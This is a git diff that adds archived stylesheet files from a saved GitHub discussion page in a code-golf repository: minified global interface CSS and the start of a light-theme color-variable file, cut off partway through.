.reset-btn-override-icon{background-color:var(--color-accent-emphasis)}.reset-btn-override-icon{width:18px;height:18px;padding:1px;margin-right:3px;color:var(--color-fg-on-emphasis);text-align:center;background-color:var(--color-neutral-emphasis);border-radius:6px}.is-auto-complete-loading .form-control{padding-right:30px;background-image:url("/images/spinners/octocat-spinner-32.gif");background-size:16px}.hx_breadcrumb-header .header-search-wrapper{height:32px}.hx_breadcrumb-header .notification-indicator .mail-status,.hx_breadcrumb-header .unread-indicator{background-color:var(--color-accent-emphasis);background-image:none}.hx_breadcrumb-header .Header-link,.hx_breadcrumb-header .Header-current-page{color:var(--color-header-logo)}.hx_breadcrumb-header-crumbs .Header-link,.hx_breadcrumb-header-logo{transition:opacity .1s ease-out}.hx_breadcrumb-header-crumbs .Header-link:hover,.hx_breadcrumb-header-logo:hover{color:var(--color-header-text);opacity:.75}.hx_breadcrumb-header-divider{color:var(--color-header-divider)}.Header-button{background-color:var(--color-scale-gray-8);border:1px solid var(--color-scale-gray-6);border-radius:6px;transition:background-color .2s cubic-bezier(0.3, 0, 0.5, 1)}.Header-button .octicon{color:var(--color-header-logo)}.Header-button:hover,.Header-button:focus,.Header-button:active{background-color:transparent}.Header-button:hover .octicon,.Header-button:focus .octicon,.Header-button:active .octicon{color:var(--color-header-text);box-shadow:none}.hx_breadcrumb-header-dropdown::before,.hx_breadcrumb-header-dropdown::after{display:none}.hx_breadcrumb-header-dropdown .dropdown-item{line-height:40px;transition:background-color 60ms ease-out}.hx_breadcrumb-header-dropdown .dropdown-item:hover{color:var(--color-fg-default);background-color:var(--color-canvas-subtle)}.icon-sponsor,.icon-sponsoring{transition:transform .15s cubic-bezier(0.2, 0, 0.13, 2);transform:scale(1)}.btn:hover .icon-sponsor,.btn:focus .icon-sponsor,.Label:hover .icon-sponsor,.Label:focus .icon-sponsor,.btn:hover .icon-sponsoring,.btn:focus .icon-sponsoring,.Label:hover .icon-sponsoring,.Label:focus .icon-sponsoring{transform:scale(1.1)}.icon-sponsor{overflow:visible !important}.hx_kbd{display:inline-block;min-width:21px;padding:0 4px;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji";font-size:12px;font-weight:400;line-height:1.5;color:var(--color-fg-muted);text-align:center;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px;box-shadow:none}.hx_hit-user em,.hx_hit-package em,.hx_hit-marketplace em,.hx_hit-highlighting-wrapper em,.hx_hit-commit em,.hx_hit-issue em,.hx_hit-repo em,.hx_hit-wiki em{font-style:normal;font-weight:600}.SelectMenu-list.select-menu-list{max-height:none}@media(max-width: 543px){.SelectMenu-modal{width:unset !important}}.SelectMenu--hasFilter .SelectMenu-list{contain:content}.SelectMenu-item:disabled,.SelectMenu-item[aria-disabled=true]{color:var(--color-fg-muted);pointer-events:none}.SelectMenu .SelectMenu-item .is-filtering{color:var(--color-fg-muted)}.SelectMenu .SelectMenu-item .is-filtering b{color:var(--color-fg-default)}label.SelectMenu-item{font-weight:400}label.SelectMenu-item[aria-checked=true]{font-weight:600}.hx_SelectMenu-modal-no-animation{animation:none}.Box--responsive{margin-right:-15px;margin-left:-15px;border-right:0;border-left:0;border-radius:0}.Box--responsive .Box-row--unread{position:relative;box-shadow:none}.Box--responsive .Box-row--unread::before{position:absolute;top:36px;left:20px;display:inline-block;width:8px;height:8px;color:#fff;content:"";background-image:linear-gradient(#54a3ff, #006eed);background-clip:padding-box;border-radius:50%}.Box--responsive .Box-header{border-right-width:0;border-left-width:0;border-radius:0}@media(min-width: 544px){.Box--responsive{margin-right:0;margin-left:0;border:1px solid var(--color-border-default);border-radius:6px}.Box--responsive .Box-header{border-right-width:1px;border-left-width:1px;border-top-left-radius:6px;border-top-right-radius:6px}.Box--responsive .Box-row--unread{box-shadow:2px 0 0 var(--color-accent-emphasis) inset}.Box--responsive .Box-row--unread::before{display:none}}@media(max-width: 767px){.page-responsive .dropdown-menu,.page-responsive .dropdown-item{padding-top:8px;padding-bottom:8px}.page-responsive .hx_dropdown-fullscreen[open]>summary::before{background-color:var(--color-primer-canvas-backdrop)}.page-responsive .hx_dropdown-fullscreen .dropdown-menu{position:fixed;top:auto;right:16px !important;bottom:20%;left:16px !important;width:auto !important;max-width:none !important;max-height:calc(80% - 16px);margin:0 !important;overflow-y:auto;transform:none;animation:dropdown-menu-animation .24s cubic-bezier(0, 0.1, 0.1, 1) backwards;-webkit-overflow-scrolling:touch}.page-responsive .hx_dropdown-fullscreen .dropdown-menu::before,.page-responsive .hx_dropdown-fullscreen .dropdown-menu::after{display:none}@keyframes dropdown-menu-animation{0%{opacity:0;transform:scale(0.9)}}.page-responsive .hx_dropdown-fullscreen .dropdown-item{padding-top:16px;padding-bottom:16px}}.hx_rsm-close-button{display:none !important}@media(max-width: 767px){.page-responsive .hx_rsm[open]>summary::before{background-color:var(--color-primer-canvas-backdrop)}.page-responsive .hx_rsm .select-menu-modal,.page-responsive .hx_rsm-modal{position:fixed !important;top:75px;right:16px !important;left:16px;display:flex;width:auto;height:80%;margin:0;flex-direction:column;animation:hx_rsm-modal-animation .24s .12s cubic-bezier(0, 0.1, 0.1, 1) backwards}.page-responsive .hx_rsm--auto-height .select-menu-modal{top:auto;bottom:20%;height:auto;max-height:calc(80% - 16px)}.page-responsive .hx_rsm .select-menu-header,.page-responsive .hx_rsm .select-menu-text-filter.select-menu-text-filter{padding:16px;border-top-left-radius:inherit;border-top-right-radius:inherit}.page-responsive .hx_rsm tab-container,.page-responsive .hx_rsm-content{display:flex;min-height:0;flex-direction:column;flex:auto}.page-responsive .hx_rsm .select-menu-list{flex:auto;max-height:none;-webkit-overflow-scrolling:touch}.page-responsive .hx_rsm-content>.select-menu-item{flex-shrink:0}.page-responsive .hx_rsm .select-menu-item{padding-top:16px;padding-bottom:16px;padding-left:40px}.page-responsive .hx_rsm .close-button,.page-responsive .hx_rsm-close-button{position:relative;display:block !important}.page-responsive .hx_rsm .close-button::before,.page-responsive .hx_rsm-close-button::before{position:absolute;top:-16px;right:-16px;bottom:-16px;left:-16px;content:""}.page-responsive .hx_rsm .close-button .octicon-x,.page-responsive .hx_rsm-close-button .octicon-x{color:var(--color-fg-muted)}.page-responsive .hx_rsm .select-menu-loading-overlay{animation-delay:1s}.page-responsive .hx_rsm .select-menu-button::before,.page-responsive .hx_rsm-trigger::before{animation:hx_rsm-trigger-animation .24s cubic-bezier(0, 0, 0.2, 1) backwards}@keyframes hx_rsm-trigger-animation{0%{opacity:0}}@keyframes hx_rsm-modal-animation{0%{opacity:0;transform:scale(0.9)}}.page-responsive .hx_rsm-dialog{max-width:none;height:auto;max-height:80%;transform:none}.page-responsive .hx_rsm-dialog-content{flex:1;min-height:0}}@media(max-width: 767px)and (max-height: 500px){.page-responsive .hx_rsm .select-menu-modal,.page-responsive .hx_rsm-modal{bottom:16px;height:auto}}.select-menu-modal{border-color:var(--color-border-default);box-shadow:var(--color-shadow-large)}.select-menu-header,.select-menu-filters{background:var(--color-canvas-overlay)}.select-menu-text-filter input{padding:5px 12px}.select-menu-item{text-align:left;background-color:var(--color-canvas-overlay);border-top:0;border-right:0;border-left:0}.preview-selected .tabnav--responsive{border-bottom:1px solid var(--color-border-default)}.tabnav--responsive .tabnav-tabs{z-index:1}@media(max-width: 767px){.tabnav--responsive .tabnav-tab{background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-left:0;border-radius:0}.tabnav--responsive .tabnav-tab:first-child{border-left:1px solid var(--color-border-default)}.tabnav--responsive .tabnav-tab[aria-selected=true],.tabnav--responsive .tabnav-tab.selected{background-color:var(--color-canvas-default);border-bottom:0}}@media(max-width: 767px){.hx_sm-hide-drag-drop textarea{border-bottom:1px solid var(--color-border-default);border-bottom-right-radius:6px;border-bottom-left-radius:6px}.hx_sm-hide-drag-drop .hx_drag-and-drop{display:none !important}}@media(hover: none){.tooltipped:hover::before,.tooltipped:hover::after{display:none}}@media(hover: none){.markdown-body h1 .octicon-link,.markdown-body h2 .octicon-link,.markdown-body h3 .octicon-link,.markdown-body h4 .octicon-link,.markdown-body h5 .octicon-link,.markdown-body h6 .octicon-link{visibility:visible !important}}.min-width-lg{min-width:1012px}.min-width-xl{min-width:1280px}.min-height-0{min-height:0 !important}.ws-pre-wrap{white-space:pre-wrap}.cursor-pointer{cursor:pointer}.cursor-default{cursor:default}@media screen and (prefers-reduced-motion: no-preference){.hide-no-pref-motion{display:none !important;visibility:hidden}}@media screen and (prefers-reduced-motion: reduce){.hide-reduced-motion{display:none !important;visibility:hidden}}.line_through{text-decoration:line-through;text-decoration-thickness:1%}.gap-2{gap:8px}.starring-container .unstarred,.starring-container.on .starred{display:block}.starring-container.on .unstarred,.starring-container .starred{display:none}.starring-container.loading{opacity:.5}.user-following-container .follow,.user-following-container.on .unfollow{display:inline-block}.user-following-container.on .follow,.user-following-container .unfollow{display:none}.user-following-container.loading{opacity:.5}.hidden-when-empty:empty{display:none !important}.cm-number,.cm-atom{color:var(--color-codemirror-syntax-constant)}auto-check .is-autocheck-loading,auto-check .is-autocheck-successful,auto-check .is-autocheck-errored{padding-right:30px}auto-check .is-autocheck-loading{background-image:url("/images/spinners/octocat-spinner-16px.gif")}auto-check .is-autocheck-successful{background-image:url("/images/modules/ajax/success.png")}auto-check .is-autocheck-errored{background-image:url("/images/modules/ajax/error.png")}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (-moz-min-device-pixel-ratio: 2),only screen and (min-device-pixel-ratio: 2),only screen and (min-resolution: 192dpi),only screen and (min-resolution: 2dppx){auto-check .is-autocheck-loading,auto-check .is-autocheck-successful,auto-check .is-autocheck-errored{background-size:16px 16px}auto-check .is-autocheck-loading{background-image:url("/images/spinners/octocat-spinner-32.gif")}auto-check .is-autocheck-successful{background-image:url("/images/modules/ajax/success@2x.png")}auto-check .is-autocheck-errored{background-image:url("/images/modules/ajax/error@2x.png")}}.hx_text-body{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji" !important}.hx_disabled-form-checkbox-label.form-checkbox.disabled{color:var(--color-fg-muted)}.autocomplete-item{background-color:transparent}.ColorSwatch{display:inline-block;width:1em;height:1em;vertical-align:middle;border:1px solid var(--color-border-subtle);border-radius:6px}.label-select-menu .color,.ColorSwatch{border-radius:2em}.details-overlay[open]>.dropdown-item:hover{color:inherit;background:var(--color-canvas-default)}remote-input[loading] .form-control{padding-right:30px;background-image:url("/images/spinners/octocat-spinner-32.gif");background-size:16px}.hx_form-control-spinner{position:absolute;top:24px;right:24px;display:none}@media(min-width: 767px){.hx_form-control-spinner{top:18px;right:18px}}.hx_form-control-spinner-wrapper{position:relative}.hx_form-control-spinner-wrapper .is-loading.form-control{padding-right:28px}.hx_form-control-spinner-wrapper .is-loading+.hx_form-control-spinner{display:block}.drag-and-drop{border-color:var(--color-border-default)}.input-sm{min-height:28px}.btn .octicon-triangle-down{margin-right:0}.UnderlineNav-item.selected .UnderlineNav-octicon,.UnderlineNav-item[aria-current]:not([aria-current=false]) .UnderlineNav-octicon,.UnderlineNav-item[role=tab][aria-selected=true] .UnderlineNav-octicon{color:inherit}.break-line-anywhere{line-break:anywhere !important}.form-checkbox input[type=checkbox],.form-checkbox input[type=radio]{margin-top:4px}.status-indicator-success::before,.status-indicator-failed::before{content:none}.markdown-title code{padding:2px 4px;font-size:.9em;line-height:1;background-color:var(--color-neutral-muted);border-radius:6px}.hx_ActionList-content>.hx_ActionList-item-label,.hx_ActionList-content>.hx_ActionList-item-visual{pointer-events:none}.IssueLabel--big.lh-condensed{display:inline-block;padding:0 10px;font-size:12px;font-weight:500;line-height:22px !important;border:1px solid transparent;border-radius:2em}.hx_IssueLabel{--perceived-lightness: calc( ((var(--label-r) * 0.2126) + (var(--label-g) * 0.7152) + (var(--label-b) * 0.0722)) / 255 );--lightness-switch: max(0, min(calc((var(--perceived-lightness) - var(--lightness-threshold)) * -1000), 1))}:root .hx_IssueLabel,[data-color-mode=light][data-light-theme*=light] .hx_IssueLabel,[data-color-mode=dark][data-dark-theme*=light] .hx_IssueLabel{--lightness-threshold: 0.453;--border-threshold: 0.96;--border-alpha: max(0, min(calc((var(--perceived-lightness) - var(--border-threshold)) * 100), 1));color:hsl(0deg, 0%, calc(var(--lightness-switch) * 100%));background:rgb(var(--label-r), var(--label-g), var(--label-b));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) - 25) * 1%), var(--border-alpha))}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=light] .hx_IssueLabel{--lightness-threshold: 0.453;--border-threshold: 0.96;--border-alpha: max(0, min(calc((var(--perceived-lightness) - var(--border-threshold)) * 100), 1));color:hsl(0deg, 0%, calc(var(--lightness-switch) * 100%));background:rgb(var(--label-r), var(--label-g), var(--label-b));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) - 25) * 1%), var(--border-alpha))}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=light] .hx_IssueLabel{--lightness-threshold: 0.453;--border-threshold: 0.96;--border-alpha: max(0, min(calc((var(--perceived-lightness) - var(--border-threshold)) * 100), 1));color:hsl(0deg, 0%, calc(var(--lightness-switch) * 100%));background:rgb(var(--label-r), var(--label-g), var(--label-b));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) - 25) * 1%), var(--border-alpha))}}[data-color-mode=light][data-light-theme*=dark] .hx_IssueLabel,[data-color-mode=dark][data-dark-theme*=dark] .hx_IssueLabel{--lightness-threshold: 0.6;--background-alpha: 0.18;--border-alpha: 0.3;--lighten-by: calc(((var(--lightness-threshold) - var(--perceived-lightness)) * 100) * var(--lightness-switch));color:hsl(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%));background:rgba(var(--label-r), var(--label-g), var(--label-b), var(--background-alpha));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%), var(--border-alpha))}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark] .hx_IssueLabel{--lightness-threshold: 0.6;--background-alpha: 0.18;--border-alpha: 0.3;--lighten-by: calc(((var(--lightness-threshold) - var(--perceived-lightness)) * 100) * var(--lightness-switch));color:hsl(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%));background:rgba(var(--label-r), var(--label-g), var(--label-b), var(--background-alpha));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%), var(--border-alpha))}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark] .hx_IssueLabel{--lightness-threshold: 0.6;--background-alpha: 0.18;--border-alpha: 0.3;--lighten-by: calc(((var(--lightness-threshold) - var(--perceived-lightness)) * 100) * var(--lightness-switch));color:hsl(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%));background:rgba(var(--label-r), var(--label-g), var(--label-b), var(--background-alpha));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%), var(--border-alpha))}}.signed-commit-badge-small,.signed-commit-badge-medium,.signed-commit-badge-large{display:inline-block;padding:0 7px;font-size:12px;font-weight:500;line-height:18px;white-space:nowrap;border:1px solid transparent;border-radius:2em;border-color:var(--color-border-default)}.signed-commit-badge-small{margin-top:0}.signed-commit-badge-large{padding-right:10px;padding-left:10px;line-height:22px}.topic-tag-action,.delete-topic-button,.topic-tag{display:inline-block;padding:0 7px;font-size:12px;font-weight:500;line-height:18px;white-space:nowrap;border:1px solid transparent;border-radius:2em;padding-right:10px;padding-left:10px;line-height:22px;color:var(--color-accent-fg);background-color:var(--color-accent-subtle);border:1px solid var(--color-topic-tag-border, transparent)}.topic-tag-action:active,.topic-tag-action:hover,.delete-topic-button:active,.delete-topic-button:hover,.topic-tag:active,.topic-tag:hover{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.topic-tag{margin:0 .125em .333em 0}.topic-tag-outline{background:transparent}.topic-tag-action{display:inline-flex;padding-right:0;margin:.6em .5em 0 0}.delete-topic-button,.topic-tag-action .add-topic-button,.topic-tag-action .remove-topic-button{display:flex;width:24px;height:24px;padding:0;color:inherit;border-color:transparent;border-left:0;border-radius:2em;align-items:center;justify-content:center}.hx_Layout.hx_Layout--sidebar-hidden{grid-auto-flow:row;grid-template-columns:1fr !important}.hx_Layout.hx_Layout--sidebar-hidden .Layout-sidebar,.hx_Layout.hx_Layout--sidebar-hidden .Layout-divider,.hx_Layout.hx_Layout--sidebar-hidden .Layout-main{width:100% !important;grid-column:1 !important}.hx_Layout.hx_Layout--sidebar-hidden.Layout--sidebarPosition-flowRow-start .Layout-sidebar{grid-row:1}.hx_Layout.hx_Layout--sidebar-hidden.Layout--sidebarPosition-flowRow-start .Layout-main{grid-row:2/span 2}.hx_Layout.hx_Layout--sidebar-hidden.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:2/span 2}.hx_Layout.hx_Layout--sidebar-hidden.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}.hx_Layout.hx_Layout--sidebar-hidden.Layout--sidebarPosition-flowRow-none .Layout-sidebar{display:none}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided{--Layout-gutter: 0}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided .Layout-divider{height:1px;grid-row:2}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided .Layout-divider.Layout-divider--flowRow-hidden{display:none}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided .Layout-divider.Layout-divider--flowRow-shallow{height:8px;margin-right:0;background:var(--color-canvas-inset);border-color:var(--color-border-default);border-style:solid;border-width:1px 0}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided .Layout-main{grid-row:3/span 1}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:3/span 1}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}.hx_Layout--sidebar{top:60px;box-sizing:border-box;overscroll-behavior:contain}.branch-action-item.color-border-default{border-color:var(--color-border-default) !important}.user-status-container .input-group-button .btn{height:32px}.reponav-item,.pagehead-tabs-item{border-radius:4px 4px 0 0}.reponav-item.selected,.pagehead-tabs-item.selected{border-top-color:#f9826c}.auto-search-group>.octicon{top:8px}.subnav-search>button.mt-2{margin-top:6px !important}.completeness-indicator-success{color:var(--color-fg-on-emphasis);background-color:var(--color-btn-primary-bg)}.pagination-loader-container button.color-bg-default.border-0{border-top-left-radius:6px;border-top-right-radius:6px}.avatar-user{border-radius:50% !important}@media(max-width: 543px){.minimized-comment>details>div{padding-left:0 !important}}@media(max-width: 543px){.minimized-comment>details>summary>div{flex-direction:column}.minimized-comment>details>summary>div .review-comment-contents{align-left:flex-start}}.hx_disabled-input{margin-right:-4px !important;margin-left:-4px !important}.hx_disabled-input sidebar-memex-input[disabled]:not(.no-pointer) *{cursor:pointer}.hx_disabled-input sidebar-memex-input:not([disabled]) .Box-row--hover-gray{background-color:var(--color-canvas-subtle)}.hx_disabled-input .Box-row--hover-gray svg.octicon-pencil{visibility:hidden;opacity:0}.hx_disabled-input .Box-row--hover-gray:hover,.hx_disabled-input .Box-row--hover-gray:focus{padding-top:8px !important;padding-bottom:8px !important}.hx_disabled-input .Box-row--hover-gray:hover svg.octicon-pencil,.hx_disabled-input .Box-row--hover-gray:focus svg.octicon-pencil{visibility:visible;opacity:1}.hx_disabled-input input:not(:disabled){margin-top:8px !important;margin-bottom:8px !important}.hx_disabled-input input[disabled],.hx_disabled-input select[disabled],.hx_disabled-input .form-control[contenteditable=false]{padding-right:0;padding-left:0;margin-right:0;color:var(--color-fg-default) !important;background:transparent;border:0;box-shadow:none;opacity:1}.hx_disabled-input text-expander input[type=text][disabled]{display:none}.hx_disabled-input text-expander input[type=text][disabled]+div.form-control{display:block}.hx_disabled-input text-expander input[type=text]+div.form-control{display:none}.hx_disabled-input input[type=date][disabled]{display:none}.hx_disabled-input input[type=date][disabled]+div.form-control{display:block}.hx_disabled-input input[type=date]+div.form-control{display:none}.hx_disabled-input input[disabled]::placeholder,.hx_disabled-input selected[disabled]::placeholder{color:var(--color-fg-default) !important}.hx_disabled-input .form-select{background-image:none !important}.hx_disabled-input .Box-row--focus-gray:focus{background:var(--color-canvas-subtle)}.summary-iteration .inline-status{display:none}.summary-iteration .block-status{display:inline-block}.list-iteration .inline-status{display:inline}.list-iteration .block-status{display:none}.hx_tabnav-in-dropdown{border-radius:5px 5px 0 0}.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:first-child .tabnav-tab.selected,.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:first-child .tabnav-tab[aria-selected=true],.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:first-child .tabnav-tab[aria-current]:not([aria-current=false]){border-left:0}.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:last-child .tabnav-tab.selected,.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:last-child .tabnav-tab[aria-selected=true],.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:last-child .tabnav-tab[aria-current]:not([aria-current=false]){border-right:0}.hx_tabnav-in-dropdown .tabnav-tab.selected,.hx_tabnav-in-dropdown .tabnav-tab[aria-selected=true],.hx_tabnav-in-dropdown .tabnav-tab[aria-current]:not([aria-current=false]){margin-top:-1px;background-color:var(--color-canvas-overlay)}.hx_tabnav-in-dropdown #cloud-tab[aria-selected=false]::after{position:absolute;top:-14px;right:10px;left:auto;z-index:10;display:inline-block;content:"";border:7px solid transparent;border-bottom:7px solid var(--color-canvas-subtle)}.details-overlay-dark[open]>summary::before{z-index:111 !important}.turbo-progress-bar{z-index:2147483647}.timeline-comment .previewable-comment-form textarea{max-height:none} + +/*# sourceMappingURL=global-0d69ca7f0327.css.map*/ \ No newline at end of file diff --git a/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/light-92c7d381038e.css b/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/light-92c7d381038e.css new file mode 100644 index 0000000..044e8a7 --- /dev/null +++ b/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/light-92c7d381038e.css @@ -0,0 +1,3 @@ +:root,[data-color-mode=light][data-light-theme=light],[data-color-mode=dark][data-dark-theme=light]{/*! */}:root,[data-color-mode=light][data-light-theme=light],[data-color-mode=dark][data-dark-theme=light]{--color-canvas-default-transparent: rgba(255,255,255,0);--color-page-header-bg: #f6f8fa;--color-marketing-icon-primary: #218bff;--color-marketing-icon-secondary: #54aeff;--color-diff-blob-addition-num-text: #24292f;--color-diff-blob-addition-fg: #24292f;--color-diff-blob-addition-num-bg: #CCFFD8;--color-diff-blob-addition-line-bg: #E6FFEC;--color-diff-blob-addition-word-bg: #ABF2BC;--color-diff-blob-deletion-num-text: #24292f;--color-diff-blob-deletion-fg: #24292f;--color-diff-blob-deletion-num-bg: #FFD7D5;--color-diff-blob-deletion-line-bg: #FFEBE9;--color-diff-blob-deletion-word-bg: rgba(255,129,130,0.4);--color-diff-blob-hunk-num-bg: rgba(84,174,255,0.4);--color-diff-blob-expander-icon: #57606a;--color-diff-blob-selected-line-highlight-mix-blend-mode: multiply;--color-diffstat-deletion-border: rgba(27,31,36,0.15);--color-diffstat-addition-border: rgba(27,31,36,0.15);--color-diffstat-addition-bg: #2da44e;--color-search-keyword-hl: #fff8c5;--color-prettylights-syntax-comment: #6e7781;--color-prettylights-syntax-constant: #0550ae;--color-prettylights-syntax-entity: #8250df;--color-prettylights-syntax-storage-modifier-import: #24292f;--color-prettylights-syntax-entity-tag: #116329;--color-prettylights-syntax-keyword: #cf222e;--color-prettylights-syntax-string: #0a3069;--color-prettylights-syntax-variable: #953800;--color-prettylights-syntax-brackethighlighter-unmatched: #82071e;--color-prettylights-syntax-invalid-illegal-text: #f6f8fa;--color-prettylights-syntax-invalid-illegal-bg: #82071e;--color-prettylights-syntax-carriage-return-text: #f6f8fa;--color-prettylights-syntax-carriage-return-bg: #cf222e;--color-prettylights-syntax-string-regexp: #116329;--color-prettylights-syntax-markup-list: #3b2300;--color-prettylights-syntax-markup-heading: #0550ae;--color-prettylights-syntax-markup-italic: #24292f;--color-prettylights-syntax-markup-bold: #24292f;--color-prettylights-syntax-markup-deleted-text: #82071e;--color-prettylights-syntax-markup-deleted-bg: #FFEBE9;--color-prettylights-syntax-markup-inserted-text: #116329;--color-prettylights-syntax-markup-inserted-bg: #dafbe1;--color-prettylights-syntax-markup-changed-text: #953800;--color-prettylights-syntax-markup-changed-bg: #ffd8b5;--color-prettylights-syntax-markup-ignored-text: #eaeef2;--color-prettylights-syntax-markup-ignored-bg: #0550ae;--color-prettylights-syntax-meta-diff-range: #8250df;--color-prettylights-syntax-brackethighlighter-angle: #57606a;--color-prettylights-syntax-sublimelinter-gutter-mark: #8c959f;--color-prettylights-syntax-constant-other-reference-link: #0a3069;--color-codemirror-text: #24292f;--color-codemirror-bg: #ffffff;--color-codemirror-gutters-bg: #ffffff;--color-codemirror-guttermarker-text: #ffffff;--color-codemirror-guttermarker-subtle-text: #6e7781;--color-codemirror-linenumber-text: #57606a;--color-codemirror-cursor: #24292f;--color-codemirror-selection-bg: rgba(84,174,255,0.4);--color-codemirror-activeline-bg: rgba(234,238,242,0.5);--color-codemirror-matchingbracket-text: #24292f;--color-codemirror-lines-bg: #ffffff;--color-codemirror-syntax-comment: #24292f;--color-codemirror-syntax-constant: #0550ae;--color-codemirror-syntax-entity: #8250df;--color-codemirror-syntax-keyword: #cf222e;--color-codemirror-syntax-storage: #cf222e;--color-codemirror-syntax-string: #0a3069;--color-codemirror-syntax-support: #0550ae;--color-codemirror-syntax-variable: #953800;--color-checks-bg: #24292f;--color-checks-run-border-width: 0px;--color-checks-container-border-width: 0px;--color-checks-text-primary: #f6f8fa;--color-checks-text-secondary: #8c959f;--color-checks-text-link: #54aeff;--color-checks-btn-icon: #afb8c1;--color-checks-btn-hover-icon: #f6f8fa;--color-checks-btn-hover-bg: rgba(255,255,255,0.125);--color-checks-input-text: #eaeef2;--color-checks-input-placeholder-text: #8c959f;--color-checks-input-focus-text: #8c959f;--color-checks-input-bg: #32383f;--color-checks-input-shadow: none;--color-checks-donut-error: #fa4549;--color-checks-donut-pending: #bf8700;--color-checks-donut-success: #2da44e;--color-checks-donut-neutral: #afb8c1;--color-checks-dropdown-text: #afb8c1;--color-checks-dropdown-bg: #32383f;--color-checks-dropdown-border: #424a53;--color-checks-dropdown-shadow: rgba(27,31,36,0.3);--color-checks-dropdown-hover-text: #f6f8fa;--color-checks-dropdown-hover-bg: #424a53;--color-checks-dropdown-btn-hover-text: #f6f8fa;--color-checks-dropdown-btn-hover-bg: #32383f;--color-checks-scrollbar-thumb-bg: #57606a;--color-checks-header-label-text: #d0d7de;--color-checks-header-label-open-text: #f6f8fa;--color-checks-header-border: #32383f;--color-checks-header-icon: #8c959f;--color-checks-line-text: #d0d7de;--color-checks-line-num-text: rgba(140,149,159,0.75);--color-checks-line-timestamp-text: #8c959f;--color-checks-line-hover-bg: #32383f;--color-checks-line-selected-bg: rgba(33,139,255,0.15);--color-checks-line-selected-num-text: #54aeff;--color-checks-line-dt-fm-text: #24292f;--color-checks-line-dt-fm-bg: #9a6700;--color-checks-gate-bg: rgba(125,78,0,0.15);--color-checks-gate-text: #d0d7de;--color-checks-gate-waiting-text: #d4a72c;--color-checks-step-header-open-bg: #32383f;--color-checks-step-error-text: #ff8182;--color-checks-step-warning-text: #d4a72c;--color-checks-logline-text: #8c959f;--color-checks-logline-num-text: rgba(140,149,159,0.75);--color-checks-logline-debug-text: #c297ff;--color-checks-logline-error-text: #d0d7de;--color-checks-logline-error-num-text: #ff8182;--color-checks-logline-error-bg: rgba(164,14,38,0.15);--color-checks-logline-warning-text: #d0d7de;--color-checks-logline-warning-num-text: #d4a72c;--color-checks-logline-warning-bg: rgba(125,78,0,0.15);--color-checks-logline-command-text: #54aeff;--color-checks-logline-section-text: #4ac26b;--color-checks-ansi-black: #24292f;--color-checks-ansi-black-bright: #32383f;--color-checks-ansi-white: #d0d7de;--color-checks-ansi-white-bright: #d0d7de;--color-checks-ansi-gray: #8c959f;--color-checks-ansi-red: #ff8182;--color-checks-ansi-red-bright: #ffaba8;--color-checks-ansi-green: #4ac26b;--color-checks-ansi-green-bright: #6fdd8b;--color-checks-ansi-yellow: #d4a72c;--color-checks-ansi-yellow-bright: #eac54f;--color-checks-ansi-blue: #54aeff;--color-checks-ansi-blue-bright: #80ccff;--color-checks-ansi-magenta: #c297ff;--color-checks-ansi-magenta-bright: #d8b9ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #24292f;--color-project-sidebar-bg: #ffffff;--color-project-gradient-in: #ffffff;--color-project-gradient-out: rgba(255,255,255,0);--color-mktg-btn-bg: #1b1f23;--color-mktg-btn-shadow-outline: rgb(0 0 0 / 15%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(0 0 0 / 15%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 3px 2px rgba(0, 0, 0, 0.07), 0 7px 5px rgba(0, 0, 0, 0.04), 0 12px 